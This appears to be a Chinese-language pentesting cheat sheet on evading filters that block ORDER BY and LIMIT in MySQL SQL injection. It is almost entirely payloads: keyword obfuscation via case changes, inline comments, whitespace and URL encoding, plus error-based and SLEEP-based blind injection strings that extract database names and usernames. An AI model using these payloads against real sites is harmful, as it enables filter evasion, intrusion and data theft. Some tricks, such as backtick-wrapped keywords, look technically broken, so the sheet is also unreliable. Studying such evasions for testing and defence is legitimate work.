渗透测试【绕过过滤order by 、limit】
目录
绕过 过滤order by
一、基础字符混淆
二、数据库特性利用(这里基于MySQL)
三、功能等价替代
1. 使用 GROUP BY + 聚合函数
2. 利用 UNION 子查询排序
3. 数学表达式排序
四、无ORDER BY的注入技巧
1. 错误盲注替代
2. 时间盲注探测
绕过 过滤limit
一、通用绕过方法
二、数据库特性利用(基于MySQL数据库)
三、无LIMIT的注入技巧
1. 联合查询控制结果数
2. 错误盲注分页
3. 时间盲注逐条提取
绕过 过滤order by
一、基础字符混淆
1. 大小写变形
-
原理:利用数据库不区分关键字大小写的特性。
-
OrDeR By 1 -- oRdeR bY (CASE WHEN 1=1 THEN id ELSE name END) --
2. 插入干扰字符
-
原理:通过注释符、空白符等分割关键字。
-
ORD/*随机注释*/ER BY 1 -- ORD%0a%09BY 1 -- 换行符(%0a) + 制表符(%09)
二、数据库特性利用(这里基于MySQL)
1、内联注释:
/*!50000ORDER BY*/ 1 --
-- 当MySQL版本≥5.0.0时执行
2、反引号包裹列名:
SELECT * FROM users ORDER `BY` `id` --
三、功能等价替代
1. 使用 GROUP BY
+ 聚合函数
原理:GROUP BY
默认排序(部分数据库生效)
SELECT * FROM users GROUP BY id -- MySQL可能按id排序
2. 利用 UNION
子查询排序
UNION SELECT 1,2,3 FROM users ORDER BY 1 --
-- 将ORDER BY注入到UNION后的子查询中
3. 数学表达式排序
SELECT * FROM users ORDER BY id+0 --
-- 转换为数值运算绕过关键字检测
四、无ORDER BY
的注入技巧
1. 错误盲注替代
原理:通过触发错误判断排序逻辑。
ORDER BY (SELECT 1 UNION SELECT 2) -- 触发错误
-- 观察错误信息是否包含排序结果
2. 时间盲注探测
ORDER BY IF(SUBSTR(database(),1,1)='a', SLEEP(1), 1) -- MySQL
-- 根据响应延迟判断排序依据
绕过 过滤limit
一、通用绕过方法
1. 关键字混淆
-
原理:利用数据库对关键字的宽松解析。
-
LIMIT 1 → LiMiT 1 -- 大小写混淆 LIM%0aIT 1 -- 插入换行符(%0a) L/**/IM/**/IT 1 -- 插入注释符 %4c%49%4d%49%54%31 -- URL编码(LIMIT1)
2. 数值表达式替代
原理:将数值转换为表达式绕过检测。
LIMIT 1 → LIMIT 0+1 -- 数学运算
LIMIT (SELECT 1) -- 子查询返回数值
二、数据库特性利用(基于MySQL数据库)
内联注释:
SELECT * FROM users /*!LIMIT*/ 1
反引号包裹关键字:
SELECT * FROM users `LIMIT` 1
三、无LIMIT
的注入技巧
1. 联合查询控制结果数
UNION SELECT 1,2,3 -- 默认返回所有行
→ 通过WHERE条件限制UNION结果:
UNION SELECT 1,2,3 WHERE 1=1 -- 仅返回一行
2. 错误盲注分页
原理:通过触发错误逐条提取数据。
LIMIT 0,1 → 替换为:
AND (SELECT 1 FROM (SELECT 1,2 FROM users LIMIT 0,1) AS sub) = 1
-- 若触发错误,则说明存在该行
3. 时间盲注逐条提取
AND IF((SELECT SUBSTR(username,1,1) FROM users)= 'a', SLEEP(1), 0)
-- 每次只验证一行首字符,无需LIMIT